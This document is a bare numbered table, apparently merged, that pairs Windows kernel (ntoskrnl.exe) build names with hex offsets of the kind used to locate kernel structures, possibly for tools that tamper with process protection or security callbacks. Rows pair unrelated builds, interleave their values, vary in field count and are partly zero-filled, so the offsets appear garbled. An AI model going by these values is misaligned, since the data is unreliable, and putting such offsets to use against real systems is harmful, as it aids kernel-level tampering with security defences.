210 ntoskrnl_17134-165.exe ntoskrnl_16299-967.exe 3f1e30 39fec0 3f2030 3a00c0 3f1c30 39fcc0 6ca 3af088 35dac0 20 50 4000d0 4000f8 c8
211 ntoskrnl_17134-167.exe ntoskrnl_17134-1.exe 3f1e30 3f4ef0 3f2030 3f50f0 3f1c30 3f4cf0 6ca 3af088 3b2120 20 50 45e250 45e270 c8
212 ntoskrnl_17134-1726.exe ntoskrnl_17134-1006.exe 3e4ff0 3e4ef0 3e4bf0 3e4af0 3e4df0 3e4cf0 6ca 3a1f88 3a1fc8 20 50 44d250 44d278 c8
213 ntoskrnl_17134-1792.exe ntoskrnl_17134-1038.exe 3e4f70 3e4db0 3e4b70 3e4fb0 3e4d70 3e4bb0 6ca 3a1fd0 3a1fe0 20 50 44d250 44d278 c8
214 ntoskrnl_17134-1845.exe ntoskrnl_17134-1098.exe 3e4f70 3e4b70 3e4d70 6ca 3a1fd0 3a1fb0 20 50 44d250 44d278 c8
215 ntoskrnl_17134-1902.exe ntoskrnl_17134-1067.exe 3e4f70 3e4b70 3e4d70 6ca 3a1fd0 3a1fb0 20 50 44d250 44d278 c8
216 ntoskrnl_17134-191.exe ntoskrnl_17134-112.exe 3f2e30 3f1e30 3f3030 3f2030 3f2c30 3f1c30 6ca 3b0088 3af088 20 50 45b250 45b278 c8
217 ntoskrnl_17134-1967.exe ntoskrnl_17134-1130.exe 3e4f70 3e4fb0 3e4b70 3e4bb0 3e4d70 3e4db0 6ca 3a1fd0 3a1fb0 20 50 44d250 44d278 c8
218 ntoskrnl_17134-2026.exe ntoskrnl_17134-1246.exe 3e4f70 3e4fb0 3e4b70 3e4bb0 3e4d70 3e4db0 6ca 3a1fd0 3a1fb0 20 50 44d250 44d278 c8
219 ntoskrnl_17134-2087.exe ntoskrnl_17134-1345.exe 3e4f70 3e4db0 3e4b70 3e4fb0 3e4d70 3e4bb0 6ca 3a1fd0 3a1fe0 20 50 44d250 44d278 c8
220 ntoskrnl_17134-2145.exe ntoskrnl_17134-1184.exe 3e4f70 3e4fb0 3e4b70 3e4bb0 3e4d70 3e4db0 6ca 3a1f88 3a1fb0 20 50 44d250 44d278 c8
221 ntoskrnl_17134-2208.exe ntoskrnl_17134-1365.exe 3e4f70 3e4e30 3e4b70 3e5030 3e4d70 3e4c30 6ca 3a1f88 3a2000 20 50 44d250 44d278 c8
222 ntoskrnl_17134-228.exe ntoskrnl_17134-137.exe 3e5ff0 3f1e30 3e5bf0 3f2030 3e5df0 3f1c30 6ca 3a3108 3af088 20 50 45b250 45b278 c8
223 ntoskrnl_17134-254.exe ntoskrnl_17134-1304.exe 3e5ff0 3e4ef0 3e5bf0 3e4af0 3e5df0 3e4cf0 6ca 3a3108 3a1fe8 20 50 44d250 44d278 c8
224 ntoskrnl_17134-285.exe ntoskrnl_17134-1425.exe 3e6030 3e4e30 3e5c30 3e5030 3e5e30 3e4c30 6ca 3a3100 3a2000 20 50 44d250 44d278 c8
225 ntoskrnl_17134-286.exe ntoskrnl_17134-1488.exe 3e6030 3e4db0 3e5c30 3e4fb0 3e5e30 3e4bb0 6ca 3a3100 3a1fe0 20 50 44c250 44c278 c8
226 ntoskrnl_17134-320.exe ntoskrnl_17134-1550.exe 3e5eb0 3e4db0 3e60b0 3e4fb0 3e5cb0 3e4bb0 6ca 3a3120 3a1fe0 20 50 44c250 44c278 c8
227 ntoskrnl_17134-345.exe ntoskrnl_17134-165.exe 3e5eb0 3f1e30 3e60b0 3f2030 3e5cb0 3f1c30 6ca 3a3160 3af088 20 50 45b250 45b278 c8
228 ntoskrnl_17134-376.exe ntoskrnl_17134-1610.exe 3e5fb0 3e4db0 3e5bb0 3e4fb0 3e5db0 3e4bb0 6ca 3a3108 3a1fe0 20 50 44c250 44c278 c8
229 ntoskrnl_17134-407.exe ntoskrnl_17134-1667.exe 3e5f30 3e4ff0 3e5b30 3e4bf0 3e5d30 3e4df0 6ca 3a3108 3a1f88 20 50 44c250 44c278 c8
230 ntoskrnl_17134-471.exe ntoskrnl_17134-1845.exe 3e5fb0 3e4f70 3e5bb0 3e4b70 3e5db0 3e4d70 6ca 3a3108 3a1fd0 20 50 44c250 44c278 c8
231 ntoskrnl_17134-472.exe ntoskrnl_17134-167.exe 3e5fb0 3f1e30 3e5bb0 3f2030 3e5db0 3f1c30 6ca 3a3108 3af088 20 50 45b250 45b278 c8
232 ntoskrnl_17134-48.exe ntoskrnl_17134-1726.exe 3f5030 3e4ff0 3f4c30 3e4bf0 3f4e30 3e4df0 6ca 3b20e8 3a1f88 20 50 44c250 44c278 c8
233 ntoskrnl_17134-523.exe ntoskrnl_17134-1792.exe 3e5fb0 3e4f70 3e5bb0 3e4b70 3e5db0 3e4d70 6ca 3a3108 3a1fd0 20 50 44c250 44c278 c8
234 ntoskrnl_17134-556.exe ntoskrnl_17134-1902.exe 3e5fb0 3e4f70 3e5bb0 3e4b70 3e5db0 3e4d70 6ca 3a3108 3a1fd0 20 50 44c250 44c278 c8
235 ntoskrnl_17134-590.exe ntoskrnl_17134-191.exe 3e5fb0 3f2e30 3e5bb0 3f3030 3e5db0 3f2c30 6ca 3a3108 3b0088 20 50 45c250 45c278 c8
236 ntoskrnl_17134-619.exe ntoskrnl_17134-1967.exe 3e5fb0 3e4f70 3e5bb0 3e4b70 3e5db0 3e4d70 6ca 3a3108 3a1fd0 20 50 44c250 44c278 c8
237 ntoskrnl_17134-648.exe ntoskrnl_17134-2026.exe 3e5fb0 3e4f70 3e5bb0 3e4b70 3e5db0 3e4d70 6ca 3a3108 3a1fd0 20 50 44c250 44c278 c8
238 ntoskrnl_17134-677.exe ntoskrnl_17134-2208.exe 3e4eb0 3e4f70 3e50b0 3e4b70 3e4cb0 3e4d70 6ca 3a2160 3a1f88 20 50 44c250 44c278 c8
239 ntoskrnl_17134-706.exe ntoskrnl_17134-2087.exe 3e4eb0 3e4f70 3e50b0 3e4b70 3e4cb0 3e4d70 6ca 3a2160 3a1fd0 20 50 44c250 44c278 c8
240 ntoskrnl_17134-753.exe ntoskrnl_17134-2145.exe 3e4eb0 3e4f70 3e50b0 3e4b70 3e4cb0 3e4d70 6ca 3a2160 3a1f88 20 50 44c250 44c278 c8
241 ntoskrnl_17134-765.exe ntoskrnl_17134-254.exe 3e4ef0 3e5ff0 3e4af0 3e5bf0 3e4cf0 3e5df0 6ca 3a1f48 3a3108 20 50 44e250 44e278 c8
242 ntoskrnl_17134-766.exe ntoskrnl_17134-228.exe 3e4ef0 3e5ff0 3e4af0 3e5bf0 3e4cf0 3e5df0 6ca 3a1f48 3a3108 20 50 44e250 44e278 c8
243 ntoskrnl_17134-799.exe ntoskrnl_17134-320.exe 3e4f30 3e5eb0 3e4b30 3e60b0 3e4d30 3e5cb0 6ca 3a1f68 3a3120 20 50 44e250 44e278 c8
244 ntoskrnl_17134-81.exe ntoskrnl_17134-285.exe 3f4f30 3e6030 3f5130 3e5c30 3f4d30 3e5e30 6ca 3b2120 3a3100 20 50 44e250 44e278 c8
245 ntoskrnl_17134-829.exe ntoskrnl_17134-286.exe 3e4f30 3e6030 3e4b30 3e5c30 3e4d30 3e5e30 6ca 3a1f68 3a3100 20 50 44e250 44e278 c8
246 ntoskrnl_17134-83.exe ntoskrnl_17134-345.exe 3f4f30 3e5eb0 3f5130 3e60b0 3f4d30 3e5cb0 6ca 3b2120 3a3160 20 50 44e250 44e278 c8
247 ntoskrnl_17134-858.exe ntoskrnl_17134-376.exe 3e4f30 3e5fb0 3e4b30 3e5bb0 3e4d30 3e5db0 6ca 3a1f68 3a3108 20 50 44e250 44e278 c8
248 ntoskrnl_17134-885.exe ntoskrnl_17134-407.exe 3e4f30 3e5f30 3e4b30 3e5b30 3e4d30 3e5d30 6ca 3a1f68 3a3108 20 50 44e250 44e278 c8
249 ntoskrnl_17134-915.exe ntoskrnl_17134-471.exe 3e4d70 3e5fb0 3e4f70 3e5bb0 3e4b70 3e5db0 6ca 3a1fa8 3a3108 20 50 44e250 44e278 c8
250 ntoskrnl_17134-950.exe ntoskrnl_17134-472.exe 3e4d70 3e5fb0 3e4f70 3e5bb0 3e4b70 3e5db0 6ca 3a1fa8 3a3108 20 50 44e250 44e278 c8
251 ntoskrnl_17134-982.exe ntoskrnl_17134-523.exe 3e4f30 3e5fb0 3e4b30 3e5bb0 3e4d30 3e5db0 6ca 3a1fd0 3a3108 20 50 44e250 44e278 c8
252 ntoskrnl_17763-1.exe ntoskrnl_17134-48.exe 45c4b0 3f5030 45c0b0 3f4c30 45c2b0 3f4e30 6ca 40f038 3b20e8 20 50 45e250 45e270 c8
253 ntoskrnl_17763-1007.exe ntoskrnl_17134-556.exe 4d8c30 3e5fb0 4d8830 3e5bb0 4d8a30 3e5db0 6ca 4096a0 3a3108 20 50 44e250 44e278 c8
254 ntoskrnl_17763-1039.exe ntoskrnl_17134-765.exe 4d8b30 0 4d8d30 0 4d8930 0 6ca 0 409698 0 20 0 50 0 0 0 0
255 ntoskrnl_17763-107.exe ntoskrnl_17134-648.exe 45c430 3e5fb0 45c030 3e5bb0 45c230 3e5db0 6ca 40f018 3a3108 20 50 44e250 44e278 c8
256 ntoskrnl_17763-1098.exe ntoskrnl_17134-590.exe 4d9d30 3e5fb0 4d9930 3e5bb0 4d9b30 3e5db0 6ca 40a670 3a3108 20 60 50 44e250 44e278 c8
257 ntoskrnl_17763-1131.exe ntoskrnl_17134-677.exe 4d9af0 3e4eb0 4d9cf0 3e50b0 4d98f0 3e4cb0 6ca 40a678 3a2160 20 60 50 44d250 44d278 c8
258 ntoskrnl_17763-1158.exe ntoskrnl_17134-753.exe 4d9af0 3e4eb0 4d9cf0 3e50b0 4d98f0 3e4cb0 6ca 40a678 3a2160 20 60 50 44d250 44d278 c8
259 ntoskrnl_17763-1192.exe ntoskrnl_17134-706.exe 4d9d30 3e4eb0 4d9930 3e50b0 4d9b30 3e4cb0 6ca 40a670 3a2160 20 60 50 44d250 44d278 c8
260 ntoskrnl_17763-1217.exe ntoskrnl_17134-619.exe 4d9d30 3e5fb0 4d9930 3e5bb0 4d9b30 3e5db0 6ca 40a670 3a3108 20 60 50 44e250 44e278 c8
261 ntoskrnl_17763-1282.exe ntoskrnl_17134-766.exe 4d9d70 3e4ef0 4d9970 3e4af0 4d9b70 3e4cf0 6ca 40a6b0 3a1f48 20 60 50 44d250 44d278 c8
262 ntoskrnl_17763-1294.exe ntoskrnl_17134-829.exe 4d9d70 3e4f30 4d9970 3e4b30 4d9b70 3e4d30 6ca 40a6b0 3a1f68 20 60 50 44d250 44d278 c8
263 ntoskrnl_17763-1339.exe ntoskrnl_17134-799.exe 4d9d70 3e4f30 4d9970 3e4b30 4d9b70 3e4d30 6ca 40a6b0 3a1f68 20 60 50 44d250 44d278 c8
264 ntoskrnl_17763-134.exe ntoskrnl_17134-81.exe 45c430 3f4f30 45c030 3f5130 45c230 3f4d30 6ca 40efd8 3b2120 20 50 45e250 45e270 c8
265 ntoskrnl_17763-1369.exe ntoskrnl_17134-950.exe 4d9d70 0 4d9970 0 4d9b70 0 6ca 0 40a6b0 0 20 0 60 0 0 0 0
266 ntoskrnl_17763-1397.exe ntoskrnl_17763-1007.exe 4d9bf0 0 4d97f0 0 4d99f0 0 6ca 0 40a6c0 0 20 0 60 0 0 0 0
267 ntoskrnl_17763-1432.exe ntoskrnl_17134-858.exe 4d7b30 3e4f30 4d7d30 3e4b30 4d7930 3e4d30 6ca 408698 3a1f68 20 60 50 44d250 44d278 c8
268 ntoskrnl_17763-1457.exe ntoskrnl_17134-83.exe 4d7b30 3f4f30 4d7d30 3f5130 4d7930 3f4d30 6ca 408698 3b2120 20 60 50 45e250 45e270 c8
269 ntoskrnl_17763-1490.exe ntoskrnl_17134-915.exe 4d5b70 3e4d70 4d5d70 3e4f70 4d5970 3e4b70 6ca 4066d8 3a1fa8 20 60 50 44d250 44d278 c8
270 ntoskrnl_17763-1518.exe ntoskrnl_17763-1.exe 4d5b30 0 4d5d30 0 4d5930 0 6ca 0 406698 0 20 0 60 0 0 0 0
271 ntoskrnl_17763-1554.exe ntoskrnl_17134-885.exe 4d5cf0 3e4f30 4d58f0 3e4b30 4d5af0 3e4d30 6ca 406630 3a1f68 20 60 50 44d250 44d278 c8
272 ntoskrnl_17763-1577.exe ntoskrnl_17134-982.exe 4d5cf0 3e4f30 4d58f0 3e4b30 4d5af0 3e4d30 6ca 406630 3a1fd0 20 60 50 44d250 44d278 c8
273 ntoskrnl_17763-1613.exe ntoskrnl_17763-1039.exe 4d5cf0 0 4d58f0 0 4d5af0 0 6ca 0 406630 0 20 0 60 0 0 0 0
274 ntoskrnl_17763-1637.exe ntoskrnl_17763-107.exe 4d5cf0 0 4d58f0 0 4d5af0 0 6ca 0 406630 0 20 0 60 0 0 0 0
275 ntoskrnl_17763-168.exe ntoskrnl_17763-1075.exe 4dad70 4d9d30 4da970 4d9930 4dab70 4d9b30 6ca 40b078 40a650 20 50 60 5422d0 5422f8 c8
276 ntoskrnl_17763-1697.exe ntoskrnl_17763-1098.exe 4d5cf0 4d9d30 4d58f0 4d9930 4d5af0 4d9b30 6ca 406630 40a670 20 60 5422d0 5422f8 c8
277 ntoskrnl_17763-1728.exe ntoskrnl_17763-1192.exe 4d5cf0 4d9d30 4d58f0 4d9930 4d5af0 4d9b30 6ca 406630 40a670 20 60 5422d0 5422f8 c8
278 ntoskrnl_17763-1757.exe ntoskrnl_17763-1158.exe 4d5b70 4d9af0 4d5d70 4d9cf0 4d5970 4d98f0 6ca 4066d8 40a678 20 60 5422d0 5422f8 c8
279 ntoskrnl_17763-1790.exe ntoskrnl_17763-1131.exe 4d5b70 4d9af0 4d5d70 4d9cf0 4d5970 4d98f0 6ca 4066d8 40a678 20 60 5422d0 5422f8 c8
280 ntoskrnl_17763-1817.exe ntoskrnl_17763-1217.exe 4d5b70 4d9d30 4d5d70 4d9930 4d5970 4d9b30 6ca 4066d8 40a670 20 60 5422d0 5422f8 c8
281 ntoskrnl_17763-1821.exe ntoskrnl_17763-1282.exe 4d5b70 4d9d70 4d5d70 4d9970 4d5970 4d9b70 6ca 4066d8 40a6b0 20 60 5422d0 5422f8 c8
282 ntoskrnl_17763-1823.exe ntoskrnl_17763-1339.exe 4d5b70 4d9d70 4d5d70 4d9970 4d5970 4d9b70 6ca 4066d8 40a6b0 20 60 5422d0 5422f8 c8
283 ntoskrnl_17763-1852.exe ntoskrnl_17763-1294.exe 4d5bf0 4d9d70 4d57f0 4d9970 4d59f0 4d9b70 6ca 4066c0 40a6b0 20 60 5422d0 5422f8 c8
284 ntoskrnl_17763-1879.exe ntoskrnl_17763-134.exe 4d5bf0 45c430 4d57f0 45c030 4d59f0 45c230 6ca 4066c0 40efd8 20 60 50 4c52d0 4c52f8 c8
285 ntoskrnl_17763-1911.exe ntoskrnl_17763-1369.exe 4d6870 4d9d70 4d6a70 4d9970 4d6670 4d9b70 6ca 407498 40a6b0 20 60 5422d0 5422f8 c8
286 ntoskrnl_17763-1935.exe ntoskrnl_17763-1397.exe 4d6870 4d9bf0 4d6a70 4d97f0 4d6670 4d99f0 6ca 407498 40a6c0 20 60 5422d0 5422f8 c8
287 ntoskrnl_17763-194.exe ntoskrnl_17763-1432.exe 4d9d70 4d7b30 4d9970 4d7d30 4d9b70 4d7930 6ca 40a038 408698 20 50 60 5402d0 5402f8 c8
288 ntoskrnl_17763-195.exe ntoskrnl_17763-1457.exe 4d9d70 4d7b30 4d9970 4d7d30 4d9b70 4d7930 6ca 40a038 408698 20 50 60 5402d0 5402f8 c8
289 ntoskrnl_17763-1971.exe ntoskrnl_17763-1490.exe 4d6bb0 4d5b70 4d67b0 4d5d70 4d69b0 4d5970 6ca 407498 4066d8 20 60 53e2d0 53e2f8 c8
290 ntoskrnl_17763-1999.exe ntoskrnl_17763-1554.exe 4d6bb0 4d5cf0 4d67b0 4d58f0 4d69b0 4d5af0 6ca 407498 406630 20 60 53e2d0 53e2f8 c8
291 ntoskrnl_17763-2028.exe ntoskrnl_17763-1518.exe 4d67b0 4d5b30 4d69b0 4d5d30 4d65b0 4d5930 6ca 407418 406698 20 60 53e2d0 53e2f8 c8
292 ntoskrnl_17763-2029.exe ntoskrnl_17763-1577.exe 4d67b0 4d5cf0 4d69b0 4d58f0 4d65b0 4d5af0 6ca 407418 406630 20 60 53e2d0 53e2f8 c8
293 ntoskrnl_17763-2061.exe ntoskrnl_17763-168.exe 4d58f0 4dad70 4d5af0 4da970 4d56f0 4dab70 6ca 406430 40b078 20 60 50 5442d0 5442f8 c8
294 ntoskrnl_17763-2090.exe ntoskrnl_17763-1637.exe 4d5930 4d5cf0 4d5b30 4d58f0 4d5730 4d5af0 6ca 406470 406630 20 60 53e2d0 53e2f8 c8
295 ntoskrnl_17763-2114.exe ntoskrnl_17763-1697.exe 4d5930 4d5cf0 4d5b30 4d58f0 4d5730 4d5af0 6ca 406470 406630 20 60 53e2d0 53e2f8 c8
296 ntoskrnl_17763-2145.exe ntoskrnl_17763-1613.exe 4d68b0 4d5cf0 4d6ab0 4d58f0 4d66b0 4d5af0 6ca 407480 406630 20 60 53e2d0 53e2f8 c8
297 ntoskrnl_17763-2183.exe ntoskrnl_17763-1728.exe 4d68b0 4d5cf0 4d6ab0 4d58f0 4d66b0 4d5af0 6ca 407480 406630 20 60 53e2d0 53e2f8 c8
298 ntoskrnl_17763-253.exe ntoskrnl_17763-1757.exe 4d9d70 4d5b70 4d9970 4d5d70 4d9b70 4d5970 6ca 40a038 4066d8 20 50 60 53e2d0 53e2f8 c8
299 ntoskrnl_17763-292.exe ntoskrnl_17763-1790.exe 4daaf0 4d5b70 4dacf0 4d5d70 4da8f0 4d5970 6ca 40b078 4066d8 20 50 60 53e2d0 53e2f8 c8
300 ntoskrnl_17763-316.exe ntoskrnl_17763-1817.exe 4daaf0 4d5b70 4dacf0 4d5d70 4da8f0 4d5970 6ca 40b078 4066d8 20 50 60 53e2d0 53e2f8 c8
301 ntoskrnl_17763-348.exe ntoskrnl_17763-1821.exe 4dabb0 4d5b70 4da7b0 4d5d70 4da9b0 4d5970 6ca 40afb8 4066d8 20 50 60 53e2d0 53e2f8 c8
302 ntoskrnl_17763-379.exe ntoskrnl_17763-1823.exe 4dabf0 4d5b70 4da7f0 4d5d70 4da9f0 4d5970 6ca 40aff8 4066d8 20 50 60 53e2d0 53e2f8 c8
303 ntoskrnl_17763-404.exe ntoskrnl_17763-1879.exe 4dad70 4d5bf0 4da970 4d57f0 4dab70 4d59f0 6ca 40b718 4066c0 20 50 60 53e2d0 53e2f8 c8
304 ntoskrnl_17763-437.exe ntoskrnl_17763-1935.exe 4dad70 4d6870 4da970 4d6a70 4dab70 4d6670 6ca 40b718 407498 20 50 60 53f2d0 53f2f8 c8
305 ntoskrnl_17763-439.exe ntoskrnl_17763-1911.exe 4dad70 4d6870 4da970 4d6a70 4dab70 4d6670 6ca 40b718 407498 20 50 60 53f2d0 53f2f8 c8
306 ntoskrnl_17763-475.exe ntoskrnl_17763-1852.exe 4daaf0 4d5bf0 4dacf0 4d57f0 4da8f0 4d59f0 6ca 40b730 4066c0 20 50 60 53e2d0 53e2f8 c8
307 ntoskrnl_17763-503.exe ntoskrnl_17763-194.exe 4da9b0 4d9d70 4dabb0 4d9970 4da7b0 4d9b70 6ca 40b598 40a038 20 50 5422d0 5422f8 c8
308 ntoskrnl_17763-504.exe ntoskrnl_17763-195.exe 4da9b0 4d9d70 4dabb0 4d9970 4da7b0 4d9b70 6ca 40b598 40a038 20 50 5422d0 5422f8 c8
309 ntoskrnl_17763-529.exe ntoskrnl_17763-1999.exe 4da9b0 4d6bb0 4dabb0 4d67b0 4da7b0 4d69b0 6ca 40b598 407498 20 50 60 53f2d0 53f2f8 c8
310 ntoskrnl_17763-55.exe ntoskrnl_17763-2028.exe 45c4f0 4d67b0 45c0f0 4d69b0 45c2f0 4d65b0 6ca 40f098 407418 20 50 60 53f2d0 53f2f8 c8
311 ntoskrnl_17763-557.exe ntoskrnl_17763-1971.exe 4da9b0 4d6bb0 4dabb0 4d67b0 4da7b0 4d69b0 6ca 40b598 407498 20 50 60 53f2d0 53f2f8 c8
312 ntoskrnl_17763-593.exe ntoskrnl_17763-2029.exe 4dac70 4d67b0 4da870 4d69b0 4daa70 4d65b0 6ca 40b610 407418 20 50 60 53f2d0 53f2f8 c8
313 ntoskrnl_17763-615.exe ntoskrnl_17763-2090.exe 4dac70 4d5930 4da870 4d5b30 4daa70 4d5730 6ca 40b610 406470 20 50 60 53e2d0 53e2f8 c8
314 ntoskrnl_17763-652.exe ntoskrnl_17763-2061.exe 4dabf0 4d58f0 4da7f0 4d5af0 4da9f0 4d56f0 6ca 40b5f0 406430 20 50 60 53e2d0 53e2f8 c8
315 ntoskrnl_17763-678.exe ntoskrnl_17763-2114.exe 4dac30 4d5930 4da830 4d5b30 4daa30 4d5730 6ca 40b610 406470 20 50 60 53e2d0 53e2f8 c8
316 ntoskrnl_17763-719.exe ntoskrnl_17763-2183.exe 4daa30 4d68b0 4dac30 4d6ab0 4da830 4d66b0 6ca 40b658 407480 20 50 60 53f2d0 53f2f8 c8
317 ntoskrnl_17763-737.exe ntoskrnl_17763-2145.exe 4da9f0 4d68b0 4dabf0 4d6ab0 4da7f0 4d66b0 6ca 40b5d8 407480 20 50 60 53f2d0 53f2f8 c8
318 ntoskrnl_17763-771.exe ntoskrnl_17763-2213.exe 4dac70 4d6b70 4da870 4d6770 4daa70 4d6970 6ca 40b630 407438 20 50 60 53f2d0 53f2f8 c8
319 ntoskrnl_17763-802.exe ntoskrnl_17763-2268.exe 4dacb0 4d5b70 4da8b0 4d5770 4daab0 4d5970 6ca 40b6c0 406438 20 50 60 53e2d0 53e2f8 c8
320 ntoskrnl_17763-831.exe ntoskrnl_17763-2305.exe 4d8c70 4d5b70 4d8870 4d5770 4d8a70 4d5970 6ca 409610 406438 20 50 60 53e2d0 53e2f8 c8
321 ntoskrnl_17763-864.exe ntoskrnl_17763-2300.exe 4d8b70 4d5b70 4d8d70 4d5770 4d8970 4d5970 6ca 409698 406438 20 50 60 53e2d0 53e2f8 c8
322 ntoskrnl_17763-914.exe ntoskrnl_17763-2330.exe 4d8b70 4d5b70 4d8d70 4d5770 4d8970 4d5970 6ca 409698 406438 20 50 60 53e2d0 53e2f8 c8
323 ntoskrnl_17763-973.exe ntoskrnl_17763-2237.exe 4d8b70 4d6b70 4d8d70 4d6770 4d8970 4d6970 6ca 409698 407438 20 50 60 53f2d0 53f2f8 c8
324 ntoskrnl_18362-1016.exe ntoskrnl_17763-2366.exe 505fa0 4d5b70 505ba0 4d5770 505da0 4d5970 6fa 6ca 434bf8 406438 20 60 53e2d0 53e2f8 c8
325 ntoskrnl_18362-1049.exe ntoskrnl_17763-2452.exe 503fe0 4d6970 503be0 4d6b70 503de0 4d6770 6fa 6ca 432c38 407470 20 60 53f2d0 53f2f8 c8
326 ntoskrnl_18362-1082.exe ntoskrnl_17763-2510.exe 503fa0 4d6970 503ba0 4d6b70 503da0 4d6770 6fa 6ca 432bf8 407470 20 60 53f2d0 53f2f8 c8
327 ntoskrnl_18362-1110.exe ntoskrnl_17763-2458.exe 503fa0 4d6970 503ba0 4d6b70 503da0 4d6770 6fa 6ca 432c18 407470 20 60 53f2d0 53f2f8 c8
328 ntoskrnl_18362-1139.exe ntoskrnl_17763-253.exe 5040a0 4d9d70 503ca0 4d9970 503ea0 4d9b70 6fa 6ca 432c98 40a038 20 60 50 5422d0 5422f8 c8
329 ntoskrnl_18362-116.exe ntoskrnl_17763-2565.exe 500de0 4d6970 5009e0 4d6b70 500be0 4d6770 6fa 6ca 42fa48 407470 20 50 60 53f2d0 53f2f8 c8
330 ntoskrnl_18362-1171.exe ntoskrnl_17763-2628.exe 5040a0 4d68f0 503ca0 4d6af0 503ea0 4d66f0 6fa 6ca 432c90 407438 20 60 53f2d0 53f2f8 c8
331 ntoskrnl_18362-1198.exe ntoskrnl_17763-2686.exe 5040a0 4d6930 503ca0 4d6b30 503ea0 4d6730 6fa 6ca 432c90 407410 20 60 53f2d0 53f2f8 c8
332 ntoskrnl_18362-1237.exe ntoskrnl_17763-2746.exe 5040a0 4d6930 503ca0 4d6b30 503ea0 4d6730 6fa 6ca 432c90 407410 20 60 53f2d0 53f2f8 c8
333 ntoskrnl_18362-1256.exe ntoskrnl_17763-2803.exe 5040a0 4d6930 503ca0 4d6b30 503ea0 4d6730 6fa 6ca 432c90 407410 20 60 53f2d0 53f2f8 c8
334 ntoskrnl_18362-1316.exe ntoskrnl_17763-2867.exe 5040a0 4d6b30 503ca0 4d6730 503ea0 4d6930 6fa 6ca 432c90 407480 20 60 53f2d0 53f2f8 c8
335 ntoskrnl_18362-1350.exe ntoskrnl_17763-292.exe 503b60 4daaf0 503d60 4dacf0 503960 4da8f0 6fa 6ca 432bf8 40b078 20 60 50 5432d0 5432f8 c8
336 ntoskrnl_18362-1377.exe ntoskrnl_17763-2928.exe 503da0 4d6b30 5039a0 4d6730 503ba0 4d6930 6fa 6ca 432c38 407480 20 60 53f2d0 53f2f8 c8
337 ntoskrnl_18362-1379.exe ntoskrnl_17763-2931.exe 503da0 4d6b30 5039a0 4d6730 503ba0 4d6930 6fa 6ca 432c38 407480 20 60 53f2d0 53f2f8 c8
338 ntoskrnl_18362-1411.exe ntoskrnl_17763-3046.exe 503de0 4d6840 5039e0 4d6a40 503be0 4d6640 6fa 6ca 432c38 407430 20 60 53f2d0 53f2f8 c8
339 ntoskrnl_18362-1440.exe ntoskrnl_17763-2989.exe 503da0 4d6880 5039a0 4d6a80 503ba0 4d6680 6fa 6ca 432c38 407450 20 60 53f2d0 53f2f8 c8
340 ntoskrnl_18362-1441.exe ntoskrnl_17763-316.exe 503da0 4daaf0 5039a0 4dacf0 503ba0 4da8f0 6fa 6ca 432c38 40b078 20 60 50 5432d0 5432f8 c8
341 ntoskrnl_18362-145.exe ntoskrnl_17763-3165.exe 500de0 4d6b40 5009e0 4d6740 500be0 4d6940 6fa 6ca 42f9e8 407498 20 50 60 53f2d0 53f2f8 c8
342 ntoskrnl_18362-1474.exe ntoskrnl_17763-404.exe 503ba0 4dad70 503da0 4da970 5039a0 4dab70 6fa 6ca 432c38 40b718 20 60 50 5432d0 5432f8 c8
343 ntoskrnl_18362-1500.exe ntoskrnl_17763-348.exe 503b60 4dabb0 503d60 4da7b0 503960 4da9b0 6fa 6ca 432c18 40afb8 20 60 50 5432d0 5432f8 c8
344 ntoskrnl_18362-1533.exe ntoskrnl_17763-437.exe 503e20 4dad70 503a20 4da970 503c20 4dab70 6fa 6ca 432c78 40b718 20 60 50 5432d0 5432f8 c8
345 ntoskrnl_18362-1556.exe ntoskrnl_17763-379.exe 503e20 4dabf0 503a20 4da7f0 503c20 4da9f0 6fa 6ca 432c78 40aff8 20 60 50 5432d0 5432f8 c8
346 ntoskrnl_18362-1621.exe ntoskrnl_17763-439.exe 503e20 4dad70 503a20 4da970 503c20 4dab70 6fa 6ca 432c78 40b718 20 60 50 5432d0 5432f8 c8
347 ntoskrnl_18362-1679.exe ntoskrnl_17763-475.exe 502da0 4daaf0 5029a0 4dacf0 502ba0 4da8f0 6fa 6ca 431bf8 40b730 20 60 50 5432d0 5432f8 c8
348 ntoskrnl_18362-1734.exe ntoskrnl_17763-503.exe 503de0 4da9b0 5039e0 4dabb0 503be0 4da7b0 6fa 6ca 432c38 40b598 20 60 50 5432d0 5432f8 c8
349 ntoskrnl_18362-1801.exe ntoskrnl_17763-557.exe 503ce0 4da9b0 503ee0 4dabb0 503ae0 4da7b0 6fa 6ca 432c38 40b598 20 60 50 5432d0 5432f8 c8
350 ntoskrnl_18362-207.exe ntoskrnl_17763-55.exe 500de0 45c4f0 5009e0 45c0f0 500be0 45c2f0 6fa 6ca 42fa48 40f098 20 50 4c52d0 4c52f8 c8
351 ntoskrnl_18362-239.exe ntoskrnl_17763-504.exe 500de0 4da9b0 5009e0 4dabb0 500be0 4da7b0 6fa 6ca 42fa48 40b598 20 50 5432d0 5432f8 c8
352 ntoskrnl_18362-267.exe ntoskrnl_17763-529.exe 503f60 4da9b0 503b60 4dabb0 503d60 4da7b0 6fa 6ca 432c60 40b598 20 50 5432d0 5432f8 c8
353 ntoskrnl_18362-295.exe ntoskrnl_17763-615.exe 503fa0 4dac70 503ba0 4da870 503da0 4daa70 6fa 6ca 432c48 40b610 20 50 5432d0 5432f8 c8
354 ntoskrnl_18362-30.exe ntoskrnl_17763-652.exe 500d60 4dabf0 500960 4da7f0 500b60 4da9f0 6fa 6ca 42fa40 40b5f0 20 50 5432d0 5432f8 c8
355 ntoskrnl_18362-329.exe ntoskrnl_17763-593.exe 504ee0 4dac70 5050e0 4da870 504ce0 4daa70 6fa 6ca 433c28 40b610 20 50 5432d0 5432f8 c8
356 ntoskrnl_18362-356.exe ntoskrnl_17763-719.exe 505060 4daa30 504c60 4dac30 504e60 4da830 6fa 6ca 433c90 40b658 20 50 5432d0 5432f8 c8
357 ntoskrnl_18362-357.exe ntoskrnl_17763-737.exe 505060 4da9f0 504c60 4dabf0 504e60 4da7f0 6fa 6ca 433c90 40b5d8 20 50 5432d0 5432f8 c8
358 ntoskrnl_18362-387.exe ntoskrnl_17763-678.exe 505fe0 4dac30 505be0 4da830 505de0 4daa30 6fa 6ca 434c38 40b610 20 50 5432d0 5432f8 c8
359 ntoskrnl_18362-388.exe ntoskrnl_17763-771.exe 505fe0 4dac70 505be0 4da870 505de0 4daa70 6fa 6ca 434c38 40b630 20 50 5432d0 5432f8 c8
360 ntoskrnl_18362-418.exe ntoskrnl_17763-802.exe 505ee0 4dacb0 5060e0 4da8b0 505ce0 4daab0 6fa 6ca 434c58 40b6c0 20 50 5432d0 5432f8 c8
